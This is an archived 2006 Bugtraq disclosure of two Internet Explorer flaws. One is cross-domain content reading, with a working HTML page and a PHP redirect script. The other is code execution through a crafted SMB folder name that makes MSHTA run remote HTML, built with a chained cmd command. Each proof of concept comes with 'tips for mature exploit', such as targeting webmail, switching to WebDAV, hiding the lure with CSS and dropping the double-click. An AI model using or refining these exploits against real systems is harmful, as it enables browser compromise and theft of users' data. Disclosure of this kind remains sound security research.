104 lines
No EOL
5.4 KiB
Text
104 lines
No EOL
5.4 KiB
Text
source: https://www.securityfocus.com/bid/19389/info
|
|
|
|
Microsoft Windows is prone to a remote code-execution vulnerability. This issue affects the Windows Explorer component. This issue is caused by insecure handling of Drag and Drop events.
|
|
|
|
There is a public proof-of-concept that demonstrates that this vulnerability may be exploited to execute a malicious HTML application (HTA) without prompting the user for permission.
|
|
|
|
REPORT NAME: PLEBO-2006.06.16-IE_ONE_MINOR_ONE_MAJOR
|
|
DESTINATION: To Publish
|
|
EMAIL RECPT: bugtraq
|
|
|
|
CONTENTS
|
|
~~~~~~~~
|
|
0. IMPORTANT NOTICE
|
|
1. SUMMARY
|
|
2. READ CONTENT OF ANY DOMAIN - PROOF OF CONCEPT
|
|
3. READ CONTENT OF ANY DOMAIN - TIPS FOR MATURE EXPLOIT
|
|
4. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - PROOF OF CONCEPT
|
|
5. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - TIPS FOR MATURE EXPLOIT
|
|
|
|
0. IMPORTANT NOTICE
|
|
~~~~~~~~~~~~~~~~~~~
|
|
Copyright (c) 2006 Plebo Aesdi Nael
|
|
Permission is hereby granted for the redistribution of this document electronically.
|
|
It is not to be edited in any way without express consent of Plebo Aesdi Nael.
|
|
Please email plebo@gmx.net for permission if you wish to reprint the whole or any part of this document in any other medium excluding electronic medium.
|
|
|
|
Plebo Aesdi Nael, plebo@gmx.net
|
|
|
|
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
|
Version: GnuPG v1.4.0 (FreeBSD)
|
|
|
|
mQGiBELFR34RBAD0ZhPk2W6NkHbZObLX4b20fQA5A1HcxVX7nktxXn1CNPNZGwln
|
|
52Je7+nCvMC0kLlFPc2Mu52aL5G+WMNbPYnkXCsNxFAiscRYaIcMbw4PvB9CW21z
|
|
ZDX7Aq+RgCrgQXOF6FumXUgSGgokVEL0wGB6FWgDlE/t3apmaiNA+Et5YwCgqcf7
|
|
y1TTOijW91Y1GkghHYQon7ED/3SXsO8esEOax5cXEnKkGfyuWVVzxcOKSddFh6xB
|
|
OKLTazoEY3OpHqO6S+2q2wylBFVZqdM41NqTVRC5wQVlQEUo+b4qDoFfp7cWRUix
|
|
m8+ZbRRN6y8cazDCjnSjXI3GGwd3p00MhJUKevJIuRs6vvrEar2xWcXhuC/TZXPJ
|
|
bgAeBADsDM3TsSgE458gFLrTIayCTtjJp6OKNT4BmKZarCOfflnqlchOLY8PBsVH
|
|
flA5jyA8sPFsIoeIFkut7EYx0+8F2ym+oWShb7CVBEYItsh5UmtU2xNWmYoJOx/U
|
|
bB3PnJKdO3vCxkNseIu8LqHXE1qzkd43ocxx7cPgdREyquZAc7QgUGxlYm8gQWVz
|
|
ZGkgTmFlbCA8cGxlYm9AZ214Lm5ldD6IXQQTEQIAHgUCQsVHfgIbAwYLCQgHAwID
|
|
FQIDAxYCAQIeAQIXgAAKCRCtXEZ20jCHQSHUAJiVAuqU55hzf1rSgV2bNyBi71sR
|
|
AJwMf1orkD0wHd/jZknVAdkO9GHFv7kCDQRCxUecEAgAtrIc15i/g1W7s4IaIhn7
|
|
Z0k1V1hDjvrKQiIKb5Rz5ca7659INq4/wpu+pi1usqd3Zb53/ev2fcdYKzWYWd0G
|
|
dbwSJr8rdKSMr4yGzXoAVCWxjAH91TUeFVRtzQJILlI2C3lm59sQP1YRdMFC+9Le
|
|
y9Xcx9aSmezh7//xUCzIUJcxenmqXA2R+147aAlQD1BWKemCWEtMVc9Ueh+DclLG
|
|
tGiSDFBHMIdUT4mB0pFukWGwtOXNnXb8DfYyjfoGQoetcGRiWktQPBByLNToSLnF
|
|
H8CuT+zMQpvR6JXGKlttShRE0k3QAIlYfktw0loyzqFxglFjdQmI+/jUg0x5/npW
|
|
1wADBQf8CkAdF2ZBmzjvWrwfY7DSya8lnxU1JNhXeel+U7xnLt1zCAyUdiYS/jmC
|
|
PCC0ROaUl0uqwnGybi8UzPzuX2KKhfazNc1mzqJoorzDzEBJ5yMjf4YfbVdTKd5w
|
|
iOa5DUnDsEx8L1mrXhbRKQ+T/dvb/LOzfxBJrvJofFBAJUS/WEuiWNXPHVGQ2VnW
|
|
E8jOCf5LaMJXQ8kHZObuMiDazgubcg7MKKCtDSFyxMQL9LvzkdUq6aA60I1AKVv+
|
|
zLotUbcfkza5mIySL/QQGEd2N6hSCqo891kNas3bUt6E8BWlaLIuxSPAGe/GxzuZ
|
|
zjh3eOm/bsXKcJIyd8VuMjuzVxCct4hJBBgRAgAJBQJCxUecAhsMAAoJEK1cRnbS
|
|
MIdBaNoAoIhMnNOqw2wWJ4R7V1qjUCCQOTP/AJ9Ju97jTO8pL4y08wrUpZ+9V+Ek
|
|
0g==
|
|
=OV2E
|
|
-----END PGP PUBLIC KEY BLOCK-----
|
|
|
|
1. SUMMARY
|
|
~~~~~~~~~~
|
|
This document illustrates two issues found in Internet Explorer:
|
|
One is READ CONTENT OF ANY DOMAIN
|
|
Another is DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION
|
|
|
|
2. READ CONTENT OF ANY DOMAIN - PROOF OF CONCEPT
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
The following proof of concept is incomplete realization of the idea to demonstrate its feasibility.
|
|
Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006
|
|
|
|
Upload the following files to Web server, go to i.html
|
|
------------------------- i.html -------------------------
|
|
<html><body onload="setTimeout('alert(o.object.documentElement.outerHTML)',1000)">
|
|
<object width=100 height=100 data=r.php?http://www.google.com/123456789 type=text/html id=o></object>
|
|
</body></html>
|
|
------------------------- r.php -------------------------
|
|
<?php header("Location: ".$_SERVER["QUERY_STRING"]); ?>
|
|
|
|
i.html displays content of Google Web page.
|
|
|
|
3. READ CONTENT OF ANY DOMAIN - TIPS FOR MATURE EXPLOIT
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
1. Target Google Desktop, similar to IE Design Flaw Lets Hacker Crack Google Desktop, http://www.eweek.com/article2/0,1895,1895579,00.asp
|
|
2. Target webmail
|
|
|
|
4. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - PROOF OF CONCEPT
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
The following proof of concept is incomplete realization of the idea to demonstrate its feasibility.
|
|
Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006
|
|
|
|
Assume C:\SmbPubRO is shared over SMB \\192.168.0.5\SmbPubRO
|
|
Run CMD, go to C:\SmbPubRO, and then enter the following command:
|
|
mkdir test && cd test && mkdir %2e%2e%5cx.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B} && echo "<html><body><iframe width=300 height=300 src='./' ></iframe>" > test.html && cd .. && echo "<html><body><script>alert('hallo')</script>" > x.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B}
|
|
At last, open IE to \\192.168.0.5\SmbPubRO\test\test.html, and double-click the icon labeled %2e%2e%5cx
|
|
|
|
MSHTA runs remote code.
|
|
|
|
5. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - TIPS FOR MATURE EXPLOIT
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
1. Use WebDAV, not SMB
|
|
2. Hide suspicious parts by CSS tricks similar to What A Drag! -revisited-, http://www.mikx.de/index.php?p=1
|
|
3. Set up scenario of double-click
|
|
4. If modified, able to compromise IE7BETA2
|
|
5. If modified, no need to double-click |